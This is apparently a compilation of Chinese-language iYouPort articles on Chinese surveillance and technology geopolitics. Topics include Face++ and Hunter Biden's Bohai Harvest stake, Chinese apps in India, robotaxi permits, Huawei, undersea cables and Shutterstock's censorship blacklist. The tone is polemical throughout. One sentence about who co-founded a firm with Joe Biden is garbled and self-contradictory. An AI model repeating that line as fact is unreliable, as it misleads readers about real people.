人权观察发现，这种调查有时包括检查手机中是否装载**51**种被列为可疑的互联网工具，包括 **WhatsApp**、**Viber**、**Telegram** 和虚拟专用网（**VPN**）。

一体化平台系统也会监视人们的交往关系，例如，凡是被侦测到与警察监控名单上的人员一同旅行，或者与最近新办手机门号的人员有关，都会被视为可疑。

根据这些含糊笼统的标准，该系统可以生成可疑人员名单，由官员决定是否加以拘捕。有官方文件提到“该抓就抓”，显见其目标是最大限度地拘捕所有“政治上不可靠”人员。

被捕人员将在基本程序保障阙如的情况下遭到审问。他们没有请律师的权利，有些人遭到酷刑或其他虐待，也无法获得有效救济。

该应用程序在很大程度上依赖于 **Face** ＋＋提供的面部识别软件，Face ＋＋是中国创业公司 Megvii 的一个部门，这种关系引发了对 Megvii 投资者的疑问。

其中最著名的投资者之一是阿里巴巴集团控股公司（Alibaba Group Holding），该公司由中国最富有的亿万富翁马云（Jack Ma）共同创

立，是该国企业家形象的象征。

但是，⚠请注意，该公司的另一位著名投资者是：亨特拜登。

亨特拜登是前副总统乔·拜登的儿子，在过去十年中大部分时间都在建立海外投资和商业交易。此事可能会使他父亲竞选总统的努力变得复杂，造成一系列潜在的利益冲突。

「图」

「图」

亨特拜登在中国的投资公司，即 Bohai Harvest RST，汇集了大部分来自国有风险投资的资金，用于购买或投资美国和中国的一系列行业。

Bohai Harvest 已经将资金投入汽车公司、矿业公司和技术企业，比如滴滴楚星科技，这是继优步之后全球最大的乘车公司之一。

2017年，**Bohai Harvest** "收购了" **Face** ++，这是该公司**C**轮投资中的"4.6亿美元的一部分"。 **Bohai Harvest** 的网站在其投资组合中"展示了" **Face** ++。

Bohai Harvest 与多家基金合作进行各种投资，这种纠结的业务结构使亨特拜登与中国有影响力的政府和商业人士紧密相连。

Bohai Harvest 严重依赖国有中国银行的国际子公司为其投资提供资金，在其网站上称自己为“中国银行旗下投资平台”。

该投资基金还与海航集团的子公司合作，众所周知，海航是一家备受争议的企业集团，该集团已收购了全球各类企业的投资。

正如 The Intercept 之前报道的那样，海航集团为培养与美国官员的关系做出了异乎寻常的广泛努力。该公司提出了收购前白宫官员 Anthony Scaramucci 所拥有的对冲基金的要约；保留了前美国驻华大使骆家辉的法律服务；并为杰布·布什支持的私募股权公司提供融资。特别值得一提的是，海航集团还追求与比尔克林顿的关系，宣传其与这位前总统在公司举办的慈善活动中的会面。

「图」

「图」

Did Elaine Chao's DOT interviews help her family's business?

在2016年总统大选后不久，中国银行将交通部长 Elaine Chao 的姐姐 Angela Chao 和参议院多数党领袖 Mitch McConnell（R-Ky）的嫂子加入了其董事会。

与一些与政界有关的美国人一样，亨特拜登在中国的投资工具是在过去10年中达成的一系列交易的结果。

2008年，在当年的总统竞选活动结束时，亨特拜登与 Joe Biden 共同创立了该公司，他是 Joe Biden 的长期筹款和法律顾问。

第二年，亨特拜登、以及前国务卿约翰克里的继子 Christopher Heinz、Kerry-Heinz 的家族朋友 Devon Archer、和前 Oldaker 的合伙人 Eric Schwerin，一起使用 Rosemont Seneca 这个名字成立了几家公司。

2014年，他们开始在中国开展业务。 **Bohai Harvest RST** 的**"RS"**代表 **Rosemont Seneca**，**"T"**代表 **Thornton Group**。后者是一家总部设在马萨诸塞州的国际咨询公司，由詹姆斯·布尔格（**James Bulger**）创立，他是克里的长期盟友、前马萨诸塞州参议院议长 **William Bulger** 的儿子。

据"华尔街日报"报道，该公司计划筹集15亿美元，利用上海的自由贸易区将人民币兑换成美元，投资于外国公司。中国的商业登记文件将亨特拜登、 Schwerin, 和 James Bulger 列为 Bohai Harvest 的主要官员。

"纽约时报"对 Hunter Biden 参与乌克兰能源公司 Burisma Holdings 一事提出了类似担忧，该公司于2014年将副总统的儿子加入公司董事会。据透露，在美国密切参与乌克兰应对俄罗斯在该地区的侵略时，该能源公司每月向亨特拜登支付多达5万美元。

就他本人而言，乔·拜登长期以来一直是美中关系的友好代言人，甚至在其儿子投资之前就是。拜登认为，开放的中国将进一步促进贸易，为该国公民创造"通向更大政治和经济自由的道路"。

的确很自由，自由到了资助老大哥的地步。

人权观察表示，中国政府应该立即关闭该一体化平台，删除从新疆居民收集到的所有数据。相关各国政府都应对新疆党委书记陈全国和涉及严打行动侵权行为的其他高级官员实施针对性制裁，例如根据美国

《全球马格尼茨基法案》对他们实施签证禁令和资产冻结。各国也应该适度启动出口管制机制，以防中国政府获得用于侵犯基本人权的技术。联合国会员国应推动成立国际实况调查团，评估新疆情势，并向联合国人权理事会报告。

The flurry of media reports about private investment in China's increasingly sprawling surveillance state left out a prominent investor: Hunter Biden.

延伸阅读《如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？》

原文

入侵印度 - iYouPort

关于高堡奇人

如果你已经征服了中国，那么印度—— 世界上人口第二大国家——绝对是下一个重点目标，这正是消费者应用程序世界中正在发生的事。再次提醒「印度在高堡奇人争霸战中的战略性地位」。

随着小米和 Oppo 等中国智能手机制造商的领先，其对印度的移动销售市场已经占据一段时间了，并且，印度用户的触摸屏背后的内容现在也越来越多来自中国。这是根据 FactorDaily 的一份报告得出的，该报告发现印度排名前100 的 Android 应用程序中有44个是由中国公司开发的，而前一年只有18个（注意，重点是 Android，因为它是印度估计5亿互联网用户中最多选择的操作系统）。

中国产的顶级应用程序列表包括 ByteDance 等，还有 TikTok，和本地语言新闻应用程序 Helo，阿里巴巴的 UCbrowser，以及腾讯支持的 NewsDog 和安静但多产的流媒体应用程序制造商 Bigo。

该报告引用了 Sensor Tower 的数据，发现印度十大 Android 应用程序中有五个来自中国，而截至2017年底时还仅有两个。

「图」

「图」

对于那些近年来一直关注印度技术领域的人来说，这种“中国入侵”并不会让人感到意外，尽管变化的速度出乎意料。中国最大的两家公司阿里巴巴和腾讯近年来为有前途的印度创业公司注入了巨额资金，为其他公司提供了跟风进入印度寻求增长的舞台。

阿里巴巴在2015年以数亿美元的投资收购了 Snapdeal 和 Paytm，而且此后的步伐一直在加快。 2017年，腾讯在主要交易中投资了 Gaana（音乐流媒体）和 Swiggy（食品订购），并在前一年支持了 Byju（教育）和 Ola（乘车）。去年，他们还在印度境内推出了本地云计算服务。

除此之外，小米的业务已经超越了销售手机，开始支持本地公司并为其客户开发本地服务。

「图」

「图」

对于那些在印度取得成功的应用程序制造商而言，这种本地化方法似乎是关键。而不是像腾讯所拥有的中文短信应用微信那样，它在印度就失败了—— 像 ByteDance 这样的公司已经开发了本地团队，在某些情况下，完全是本地专用于印度的应用程序。随着印度数以亿计的互联网用户更多来自农村地区，本地语言、本地内容和语音技术是一些关键策略。

If you’ve conquered China, then India—the world’s second-largest country based on population—is the obvious next port of call, and that’s exactly what has happened in the world of consumer apps. Citing data from Sensor Tower, the report found that five of the top 10 Android apps in India are from China, up from just two at the end of 2017.

原文

加州让两家中国初创公司向公众提供 Robotaxis - iyouport

关于高堡奇人

【2020年3月25日存档】中国的自动驾驶汽车公司为什么钟情于美国加州？

中国的自动驾驶汽车正在美国为乘客服务。

根据在加州公共事业委员会网站上发布的通知，AutoX 和 Pony.ai 已经成为加州首批获准提供 robotaxis 的中国公司。

AutoX 由普林斯顿大学教授肖健雄于2016年创立，被他的学生称为“X教授”。

AutoX 现在是中国资金最雄厚的自动驾驶初创企业之一，与 Pony.ai 一起成立。Pony.ai 是由百度的两位前高管于2016年共同创立的自动驾驶部门。

AutoX 去年表示，它正在与投资者进行谈判，以筹集高达1亿美元的资金。截至去年4月，Pony.ai 已筹集了至少2.14亿美元的资金。

虽然有超过62家公司持有在加利福尼亚州进行自动驾驶汽车测试的许可证，但是实际上很少有公司被允许使用这些汽车载人。

Zoox 在去年获得了该州首个提供 robotaxi 服务的绿灯时，就跨越了一个新的里程碑。

不过有一些问题。授予这三家公司的许可类型为 “Drivered AV Passenger Service,”，该服务禁止公司向乘客收取试乘费用，并要求人类驾驶者坐在驾驶座上。

到目前为止，尚未允许任何实体在加利福尼亚州运营真正的无人驾驶客运服务，这表明监管机构尚未准备好让科技公司实施真正的无人运输。

AutoX 已经开始使用自动驾驶汽车在圣何塞运送杂货，通过引入加利福尼亚州的第一个 robotaxi 服务，它已经抢占了先机。

网站上的指示说，居住在圣何塞或圣塔克拉拉北部的人们现在可以申请加入该公司的早期运营计划并提供反馈。

Pony.ai 的发言人告诉 TechCrunch，该公司在获得许可后也开始提供 robotaxi 服务。

Alphabet 的 Waymo 于2018年已经在凤凰城启动了一项客运服务，并表示，如果需要，它将有训练有素的驾驶员为乘客提供帮助。

Waymo 可以向旅客收费，但只能运送经过审查的人员，因此该计划并非适用于所有人。

考虑到批评家提出的法律和道德问题，这些限制似乎是明智的。

2018年优步（Uber）的自动驾驶测试车在坦普尔（Temple）撞死了一名妇女，促使该巨头暂停了其试驾。

这一事件已成为该领域初创企业的警惕故事。以 Momenta 为例，这是中国第一家估值超过10亿美元的自动驾驶创业公司。其CEO要求所有高管亲自驾驶最少的自主里程，显示管理层对乘客安全的重视。

中国初创公司渴望获得加州执照的原因有很多。

最重要的是，自动驾驶汽车天生就需要更多的数据。全球只有极少数的城市允许在公共道路上使用自动驾驶，因此只要有许可，它总是有助于收集更多的数据。

这些中国公司中的许多还在加利福尼亚州建立了研发中心，以吸引该地区的技术人才。例如，Pony .ai 在硅谷、北京和广州都部署了研发人员和办事处。 AutoX 今年初在深圳开设了研发中心，但仍将开发团队留在圣何塞。〇

California has let two Chinese startups offer robotaxis to the public

原文

华为之战的虚伪：技术的巴尔干化 - iyouport

关于高堡奇人地缘政治

【2019年9月26日存档】你无法选择人权和自由，你唯一可选择的是接受谁的监视 —— 如果你一直留在高堡奇人的世界里。

从IYP将“高堡奇人”作为地缘政治主要标签的那一刻起，这个问题就非常值得警惕了。

那是在所谓的贸易战开始之前很久。最初它是以中美瓜分全球互联网的数字殖民生态为根本的 —— 全世界的人只有两个选择，要么硅谷、要么BAT；虽然如今依旧如此，但是欧洲的技术公司正在崭露头角、反数字殖民已经成为国际权利组织的主题之一。

但无疑，高堡奇人不会停留在互联网上。

是时候认识到，这是一个新局面的开始。高堡奇人，虽然至少目前为止我们还不叫它新冷战。

很多观察者已经开始使用 #newcoldwar 的标签，但我们依旧认为不合适，它与上一次冷战有着根本性区别，不仅由于这一次并非意识形态对峙。（这里才是新冷战，一份保密报告曝光，主题是《如何摧毁俄罗斯？》）

就如美国观察家多次指出的，美国对中国和俄罗斯有着完全不同的思考方式。

⚠请注意，美国的技术产品的确曾经有可能比中国和俄罗斯的产品更安全，但绝非是技术问题；而是，透明度革命支持者在努力揭露它，不论是 Wikileaks 曾经曝光的震惊世界的 Vault 7，还是 Snowden 揭露的全球性间谍阴谋。

透明度革命需要来自本地内部知情者勇敢的曝光内幕；如果中国有这样的勇士，中国的技术产品也将提高安全性。

但随着美国对透明度革命的全力扼杀，真相有可能会越来越少，美国的产品可能很快将与中国和俄罗斯的一样阴暗。

美国评论说的没错，美国将他们的产品卖给了中国，而中国人试图利用他们所获得的东西赚取了比美国人想象的更多的钱。不仅是“Money”而且是“Wealth”。中国和美国都在采取拖延战术，玩一场让全世界成为输家的游戏，而他们自己是唯一的赢家。

这就是为什么要呼吁人们离开高堡奇人的世界。留在这场对峙中只能成为任意帝国的炮灰。

对此我们曾经谈到过解决方案，在这里看到《超越高堡奇人：在美中的帝国争霸之上》，虽然很遗憾理解者仍不够多。

以下是荷兰作家 Ivo Vegter 的文章，很高兴欧洲的观察者能清楚地看到这一问题的根本。可为什么中国和美国的观察者却在努力回避？

美国已将中国网络设备和智能手机制造商华为列入黑名单，以满足其对本土公司的要求：向政府监控机器提供数据。大规模监视和威权主义正沿着冷战的沟壑撕裂互联网和技术市场。

美国称华为威胁国家安全。华为是全球最大的电信设备制造商之一，也是仅次于三星的第二大智能手机制造商。凭借180,000名员工和70亿美元的利润，收入超过900亿美元，它在2017财富500强排行榜上排名第72位。

美国的决定已经有效地禁止了美国公司安装华为网络设备，或将组件出口到华为。美国官员还告诉盟国，如果他们使用华为或其他中国技术来建立他们的下一代网络，美国将停止与他们分享情报。

黑名单可能对华为产生重大影响；华为将损失掉主要客户，并削减与谷歌和微软等科技巨头的联系。例如，它无法在智能手机上安装 Android 操作系统或 Google 应用生态系统（尽管有很简单的方法可以解决这些限制）。

此举是在美国和中国未能在贸易战中达成停战协议的几天后出现的。特朗普要求中国在一个月内达成协议，否则所有商品面临更严格的关税。

这是美中之间长期贸易战中最新的一场战争，其中美国既是侵略者，也是最大的输家。这是因为特朗普似乎相信在18世纪晚期已经过时的重商主义，如今仍是个好主意。

重商主义是基于贸易是零和游戏的概念，也就是说，如果你的贸易伙伴获利，那就意味着你输了。它旨在限制进口，促进出口，并保护强大的国内利益免受外国竞争。

重商主义曾经通过建立殖民帝国和使常备军队和海军与其他经济大国保持战争来实施。

由于这些方法如今已经不再受欢迎了，今天的保护主义措施主要限于出口补贴、进口关税以及偶尔的直接贸易禁令。

这些政策适用于激发经济民粹主义和民族主义言论的选民的兴奋，但它实际上损害了保护其工业的国家消费者的利益。

税务专家已经警告，特朗普的关税将降低GDP、提高价格、降低工资、并减少美国的就业率。通过加强美元，进口变得更便宜、出口更加昂贵，这直接抵消了对减少进口并增加出口的希望。关税主要伤害的是自己的人。

我说特朗普似乎喜欢重商主义，因为他很难确定这个主题。一方面，他一直在说“贸易战是好的”；而另一方面，他告诉 G7 领导人 —— 就在他对欧洲、加拿大和墨西哥征收关税之后 —— 他说世界应该放弃所有贸易壁垒、关税和补贴，采取自由贸易。

华为设备可能确实存在安全风险。今年3月，英国监督委员会发布了一份年度报告，该报告确定了华为产品中存在的安全问题，并且在之前的报告中发现的问题没有取得进展。它的结论是，很难管理在英国网络中使用华为产品所带来的风险。

今年四月，彭博社报道说，沃达丰近十年前发现在几个欧洲国家的网络设备上存在潜在的后门，但它认为这些问题已得到解决。该公司公开反对针对华为的诉讼，理由是价格和延误是主要问题。

荷兰情报部门也声称已经在一个主要的国家电信网络中找到了一个后门，它归因于华为，并表示后门可能允许该公司访问客户数据并可能将其传递给中国政府。

华为否认这些漏洞相当于后门，并且在公司收到警报后修补了漏洞。沃达丰还否认了彭博社报道的重要内容。

然而，解决所有漏洞是不可能的，尽管没有确凿证据证明任何设备将数据发送回中国政府，但是做如此假设是安全的。

问题不仅仅是可能在任何其他供应商的产品中发现的软件漏洞。为“连线”杂志撰写的一名记者似乎认为，华为的麻烦仅仅是由于软件漏洞可能在任何其他供应商的产品中找到，但这种观点似乎有点幼稚。

然而，美国对中国监视通信的可能性的推测显得虚伪。谁又不是监视者呢？美国及其盟国肯定是。

世界充斥着带有后门的设备和软件，这些后门将私人数据发送到美国及其盟国的情报部门。揭露美国和英国监视全球计划之存在的爱德华·斯诺登已经充分证明了这点。

2013年，在特朗普成为总统之前，斯诺登的披露已经证明，美国政府直接从主要技术公司（包括微软、雅虎、谷歌、Facebook和苹果）吸取数据。他们可以仔细阅读您的电子邮件、查看您的搜索内容、查看您的浏览历史记录、浏览您的照片、以及阅读您分享的任何文档；它可以随时随地跟踪您的移动设备，即使在你关闭位置服务时也是如此；它知道你打电话给谁，可以阅读你的短信；它与 Visa 和 SWIFT 等金融公司达成协议，以跟踪您的购买习惯；它吸收了来自世界各地的大量数据，而不仅仅是美国本土。

在这里看到完整版《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

他们利用安全漏洞入侵网络和计算机系统，并托管虚假网站窃取登录凭据；他们与制造商合作在路由器中安装后门，并贿赂主要的安全公司，在其加密软件中构建后门；他们部署恶意软件来劫持您的设备；他们可以随时使用您的设备上的摄像头和麦克风，而不让你发觉；一些公司 —— 尤其是微软 —— 并非首先向公众披露漏洞，而是首先提供给情报部门，以帮助间谍们实施零日攻击。

参见《零日漏洞和 CIA 黑客工具》、《中国间谍组织如何获得了NSA恶意软件？》、《死于自己制造的武器》。

美国国家安全局（NSA）受法律限制，无法直接监视美国公民；英国同等的政府通信总部（GCHQ）也在运作类似的监视计划，部分由美国国家安全局提供资金。这就有了一个非常简单的方法可以顺利绕避法律限制 —— **GCHQ**合法地监视美国人，**NSA**合法地监视英国人。然后他们根据他们作为“五眼联盟”一部分的协议“共享情报”。

这在很多年以前纽约大学著名新媒体学教授 Clay Shirky 评论透明度

革命时就已经讲述过，在这里看到详细介绍《最佳庇护所和跨国维稳 —— 透明度革命的未来》。

五眼的其他成员是澳大利亚、新西兰和加拿大。因此，旨在保护这些国家公民免受本国政府监视的法律绝对没有任何意义。

当然，在五眼之外，对每个人都是公平的游戏。使用 Android 手机？国家安全局有您的电话号码；使用 iPhone 代替？ NSA 同样在看着你；你有一台运行 Windows 的电脑吗？国家安全局就像病毒一样存在其中；让电脑运行其他系统可以吗？不要认为有什么事能超出NSA的能力范围。

如果你不认为自己值得被监视，那你就错了。任何负责任的人都有应该保密的信息，你值不值得被监视这件事你说了不算，监视者说了才算。

如果您是医疗保健专业人士或律师，或者您曾与他们中的任何人打过交道，那么您的信息肯定应该妥善保密；如果您是记者，则需要更好地保护您的信息来源。

如果世界上每个主要政府都阅读您的电子邮件，您就无法做到捍卫人权。如果您的信息可能被政府间谍泄露，那么有组织的犯罪分子可能用它来会瞄准你。

有时候，政府和犯罪分子这两者之间的界限很模糊。

政府数据库可用于进行无证搜查，以找到任何有意或无意违反法律或法规的人。每个人迟早都会遭遇到，所以没有人是安全的。

私人信息可以被用来勒索任何人做任何事。您希望您的老板或配偶如何了解您的色情偏好？你对执政党有异议吗？您希望您的同事如何知道您刚被诊断出患有尴尬的疾病？你是否谈论过腐败问题？……

如果你对政府监督不屑一顾，那就考虑一下中国自己的社会信用体系吧。它是杀死一切异议的反乌托邦标准模式。

你想挑战任何权威人士？你可能会马上发现自己被禁止乘坐公共交通工具、找不到工作、甚至找不到生活区。没有什么比这更中国的了，类似的系统很难在世界上其他任何地方推出。

美国及其盟国在监视方面一直毫无阻碍。他们一直在这样做，针对任何外国人和他们自己的公民，其规模对于大多数人来说甚至是无法理

解的。而他们担心的是中国和俄罗斯的监视。

当然，这并非不合理，就像其他国家对五眼监视网络感觉不舒服一样的道理。

中国和俄罗斯的监视设备，软件和技术正在出口到世界各国，包括南非，以及几乎所有对数据主权、社会管控和大局域网的专制愿景感兴趣的国家。

在这里看到两个综合报告《数字威权主义的兴起: 灾年之畔》、《图解中国科技巨头—半壁“高堡奇人”》。

我们已经看到在中国实行的各种威权主义重大举措，从要求在境内托管敏感数据、到彻底审查在线内容。

欧洲正在发展自己的互联网愿景，也正因此引发了与美国互联网的巨大摩擦。由于担心违反某些欧盟版权或隐私权指令，一些美国网站根本不会向欧洲访问者展示内容。

在这里看到《“公民需要组织起来以摆脱中美高堡奇人的世界”》、《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》。

中国长期以来一直在隔离其本国网络，甚至创建了国内版本的流行社交媒体、聊天软件和微博平台。中国不关心隐私或版权，但它确实关心审查和社会控制。

更有，现在全球只有两个国家足以压制反叛，那就是中国和美国，推荐两本书详见《AI, 大数据和反叛的未来》

对外国政府进行间谍活动的恐惧将使互联网和技术市场日益破裂。无论是消费者、网络运营商还是政府，选择使用哪种技术将取决于我们宁愿谁来监视我们。

技术产业欠发达的国家将越来越多地与旧的冷战路线保持一致，无论是西方的民主国家，还是俄罗斯、中国和全球南方的专制政权。

从其与最严重的暴君和反对自由世界的独裁者站在一起的记录来判断，我不相信南非国家的政府会选择相比下较小的邪恶者。

同样不难想象南非政府要求在国内电信中使用的设备在当地生产的未来。它可以找到一大堆理由：对外国间谍的恐惧、强大国内监视和审查的能力、刺激当地科技产业发展，以及为受青睐的供应商提供政治

赞助。

所谓的“国家安全”是一个强有力的借口，但它不会使重商主义或专制政府对普通公民的危害更小。〇

Huawei hypocrisy: The balkanisation of technology

原文

华为的海底版本？ - iYouPort

关于高堡奇人

一篇新专栏文章指出，在中美海军于南中国海一年的紧张局势之后，美国应该真正担心北京的意图。应该担心的是什么？

「图」

「图」

Bloomberg Quint 的一篇新专栏文章指出，在中美海军于南中国海一年的紧张局势之后，美国应该真正担心北京的意图。

这种“更难辨别”的潜在威胁涉及世界上大约380条水下电缆，它们承载着全球各国95%以上的数据和语音流量。中国可以悄悄地攻击这些电缆吗？如果他们想这么做，现在肯定是处于更有利的地位。

中国企业集团华为技术公司已经处于更广泛的美中争议的中心，这篇文章详细介绍了涉及盗窃商业机密以及与伊朗等受制裁政权的非法交易的华为，要在全球范围内“建造或改进”近100条海底电缆。

西方情报官员现在正在敲响警钟，关于北京增加访问权限以及对这种关键的全球通信基础设施的影响。顺便提一下谷歌等巨头正在将海底电缆私有化，具体详见《买断互联网》。

报告总结了以下“西方情报专业人员”的观点：

由于专家们有理由担心在华为的*5G*技术中加入间谍“后门”，西方情报专业人员反对该公司参与海底电缆改造，该项目会提供了更大的收益，因为如此多的数据依赖于如此少的电缆。

该报告进一步指出，去年华为海运网络与国有电信运营商的联合项目成功铺设了从巴西到喀麦隆的近4000英里的电缆，并计划更多地参与全球互联网电缆项目。这将需要合作，并在某些情况下与谷歌和

Facebook 等美国互联网巨头竞争，后者正在从构建它们的公司租赁或购买大量的海底电缆，无论是私有的还是国有的。

华尔街日报上个月观察到，“中国公司华为正在将自己嵌入到有线系统中，该系统可以传输几乎所有的全球互联网数据。”

在美国官方限制联邦机构使用华为的5G设备以防止中国黑客入侵的情况下，由华为构建的水下互联网基础设施可能是最敏感的“全球后门”。

该报告说：

当然，尽管美国和其他国家表示中国法律有义务将网络数据交给政府，华为否认对其正在建设的电缆项目进行任何操纵……但美国如何解决海底电缆的安全问题？仅仅基于怀疑没有办法阻止华为建立它们，或者与中国公司签订合同对其进行现代化改造。相反，美国必须利用其网络和情报收集能力来收集后门和其他安全风险的确凿证据。这将具有挑战性—中国企业技术复杂，与虚拟警察国家交织在一起……

报告描述的一个更离奇的情况是潜艇可能从外部“窃听”电缆。长期以来，军方和情报分析人员仅就俄罗斯进行了讨论，但现在越来越多的是担心北京。

其中一位分析师，美国海军上将杰米·福格戈（Jamie Foggo）被确定为职业潜艇艇员，他告诉Bloomberg Quint：“水下电缆是我们关键基础设施的一部分，对全球经济至关重要。美国必须保护他们的完整性和安全，就像我们提供公海的国际自由一样。“

Intel Officials Fear China Will Target Globe’s Underwater Internet Cables. “Underwater cables are part of our critical infrastructure and essential to the global economy. The US must protect the integrity and security of them as surely as we provide international freedom of the high seas.”

原文

又一家美国公司愿意支持中国政府的审查制度，然后呢？ - iyouport

作恶者：谁在帮中国关于高堡奇人

【2020年4月16日存档】中国的互联网用户已经很难讨论甚至最普通的话题。现在，在另一家甘心为奴的美国公司的帮助下，情况只会变得更糟。

愿意支持中国政府的审查制度、阻止可能冒犯中国独裁者的任何搜索结果 —— 这样的案例并不少，现在是，著名的美国公司、在线图片和照片的提供者 Shutterstock，为此又添了一个案例。

这家公开上市的公司凭借其庞大的图像数据库，每年创造了6.39亿美元的业务，这些图像目录几乎描述了博客作者或广告商可以想象的任何事物。

该公司现在在150多个国家/地区开展业务。

但是在中国，Shutterstock 的产品完全不同。

在9月初，Shutterstock 的工程师被赋予了新的目标：创建搜索黑名单，该黑名单将从查询结果图像中删除与中国政府禁止的关键字相关的任何图像。

Intercept 得知，该黑名单已经于去年10月生效。

任何拥有中国大陆IP地址的人都会发现，在 Shutterstock 中搜索 “习主席”、“毛主席”、“台湾国旗”、“独裁者”、“黄雨伞”、甚至“中国国旗”，将完全没有结果。

黑名单还禁止使用这些术语的变体，包括 “雨伞运动”（目前去年席卷香港的大规模民主抗议活动的前身）。

Shutterstock 做出无声帮助中国审查制度的决定，正是在舆论对美国公司与习近平的专制政权之间的关系进行严格审查之际。

苹果、暴雪娱乐公司、NBA、和 Google 等家喻户晓的公司因放任中国共产党的政策指令均受到了严厉批评。

决定遵循审查制度证明 Shutterstock 的价值已经发生了鲜明的转变 —— Shutterstock 将自身定位为创造力的推动者。

该照片公司与中国的关系至少可以追溯到2014年，当时该公司与 ZCool（一家服务于视觉艺术家的中国社交网络和作品集网站）达成了经销协议。

去年，Shutterstock 宣布对ZCool进行1500万美元的投资，并指出由于建立了合作伙伴关系，“ **Shutterstock** 的内容现在为中国的大型技术平台提供了动力，例如 腾讯社交广告”，这是中国技术寡头腾讯的在线广告子公司。

Shutterstock 的审查功能似乎在公司内部立即引起强烈的争议，促使180多名 Shutterstock 工人签署了一份抵制搜索黑名单的请愿书，并指控该公司以其自身价值进行交易只为进入利润丰厚的中国市场。

中国的互联网用户已经很难讨论甚至最普通的话题。现在，在另一家甘心为奴的美国公司的帮助下，情况只会变得更糟。

“是的，我们是一个富有创意的照片和视频市场，但我们还是社论新闻中心，” Shutterstock 的一位员工告诉 The Intercept。“想了解香港抗议活动的故事吗？它们不存在！想了解台湾吗？它从来不存在！习近平不是独裁者，因为他自己这么说的 …… 这是如此黑暗的世界。”

提供给 The Intercept 的请愿文本可以在下面阅读，完整版在这里。

Shutterstock 的创始人兼首席执行官 Jon Oringer 几天后回复了请愿书；那些希望改变这点的人会感到失望。

Oringer 认为，Shutterstock 与中国政府在审查制度上的妥协是 “有道理的”，因为拒绝在中国开展业务而不是帮助中国政府扩大其信息控制计划，“才是真正破坏企业利益的举动”：

“我们是否仍将大多数内容提供给了中国的13亿公民，还是我们剥夺了他们完全访问内容的能力？我们最终相信，与我们的品牌承诺相一致，对于讲故事的人来说，能够更有效地利用我们的收藏集来创造性地、有影响力地讲述他们的故事，这是更有价值的。”

Oringer 甚至称，具有定制审查功能的 Shutterstock “具有更大的力

量”，并且“将比替代方案更好地为中国人民服务” …… 真是可怕的歪曲。

你可以在这里看到 Oringer 在全公司范围内的回复。小心会吐。

在搜索词黑名单的实施之后，一些员工担心公司对审查制度的使用会不断增加。

Shutterstock 的工作人员告诉 The Intercept：“如果中国要求在审查黑名单中再增加多少个搜索词，我们将采取什么行动？或者，如果另一个国家也向我们提出了类似要求呢？…… 我们已经被毁了。”

在发给 The Intercept 的电子邮件中，Shutterstock 发言人确认了审查功能当前处于活动状态，尽管他们无法确认自禁用关键字列表首次生效以来是否已更改或扩展。

与 The Intercept 交谈的 Shutterstock 工作人员补充说，对于公司的许多人来说，该问题是个人的，他们拒绝 “遵守中国政府的要求符合中国客户的最大利益” 的狡辩说法。

“我们有许多员工都是在压迫性政权下长大的，有些人因为担心签证丢失而无法大声疾呼，我们让他们都失望了”。

“我们每天上班，而所有工作都是在使这个世界变得更糟。为了什么？就为了能够在中国出售几张白色背景上切成薄片的水果的照片。”

Shutterstock 员工的请愿：

「图」

我们是 Shutterstock 的签约雇员，我们呼吁该公司拒绝中国政府的要求，即 禁止针对中国网站用户的政治敏感主题的搜索结果。

虽然合规将使公司受益于在中国的持续运营，但我们认为，任何审查制度都将树立有害的先例，并对我们的公司、中国乃至世界，产生有害影响。

通过遵守这些规定，我们将使不公正现象成为现实，包括歧视香港人民、镇压中国的政治异议、以及破坏台湾人民的主权。

建立搜索过滤器的第一步为将来出现更多类型的歧视敞开了大门。

我们为 Shutterstock 在诸如网络中立、移民政策、和反犹主义等重要话题上保持立场的历史感到自豪。而现在，通过满足中国政府的要求，我们将传达这样一个信息，即：我们对价值观和底线的承诺只是第二要务。那不是我们。

我们反对任何内容过滤审查的原则不仅是面向中国，我们从根本上反对技术帮助强国压迫脆弱人群，无论他们身在何处。

Shutterstock 自己的员工来自世界各地 —— 许多人亲身经历过政府的压迫 —— 在接受这个项目时，我们让他们失望了！

因此，我们要求 Shutterstock 终止该项目。 Shutterstock 有能力成为变革的领导者。

作为员工和股东，我们应该知道我们正在建设什么，我们应该在这些重大决策中拥有发言权。”

○□

SHUTTERSTOCK EMPLOYEES FIGHT COMPANY’S NEW CHINESE SEARCH BLACKLIST

原文

图解中国科技巨头 – 半壁“高堡奇人” - iyouport

中国-半壁高堡奇人关于中国社会关于高堡奇人

【2019年5月28日存档】本报告是一系列开源信息的汇总和梳理，尝试得出结论关于中国科技巨头正如何在全球扩张，尤其是这些巨头公司与政权党派的密切关系。

中国的科技公司正在成为世界舞台上越来越重要和充满活力的参与者。这些公司在一系列领域做出了重要贡献，从尖端研究到发展中国家的连通性，但是，其不断增长的影响也带来了一系列战略考虑 ——这些公司与中国共产党之间的密切关系引发了对他们是否可能正在被用来推动中共战略和地缘政治利益的担忧。

中共对其出口全球互联网愿景的意图毫不掩饰。中国网络管理局的官员已经写过关于制定控制措施的必要性，以便“党的思想永远成为网络空间中最强大的声音”。这包括提升“阿里巴巴、腾讯、百度和华为等互联网公司的全球影响力，并努力推动中国将其政权治理互联网的主张成为国际共识”。

鉴于中共明确规定的目标，并且据报道中国的互联网和科技公司在商业领域中拥有最高比例的党委会，显然这些公司不是纯粹的商业行为者。

ASPI 的国际网络政策中心创建了一个公共数据库，用于绘制12家中国重要科技公司的全球扩张路线图，强调了这种扩张导致的政治和地缘战略困境。

> 该图解是记者、研究人员、决策者和其他对此感兴趣的人用来理解中国科技公司全球影响力的强大工具。

数据集的不完整很可能难以避免，ASPI 邀请感兴趣的用户通过在线平台提交新数据，帮助该数据集更加全面。

该图解大致包括：

- 17,000多个数据点，有助于提供这12家公司的1700多个海外业务点的地理位置;
- 75个'智能城市'项目，其中大部分位于欧洲、南美洲和非洲;
- 404大学和研究伙伴关系，其中包括195个华为"未来种子"计划;
- 跨越34个国家的52项5G倡议;
- 119个研发实验室，其中密度最高的区域在欧洲;
- 56条海底电缆，31条租用电缆和17条地面电缆;
- 202个数据中心、305个电信和ICT项目遍布全球。

—— 引言 ——

「图」

中国的技术、互联网和电信公司是世界上最大和最具创新性的公司之一。他们之间竞争激烈，其中许多都是研发领域的领导者。

他们在为全球数亿人提供现代技术优势方面发挥了核心作用，特别是在发展中国家，简称，中国正在更多地掌握发展中国家的网络基础设施。

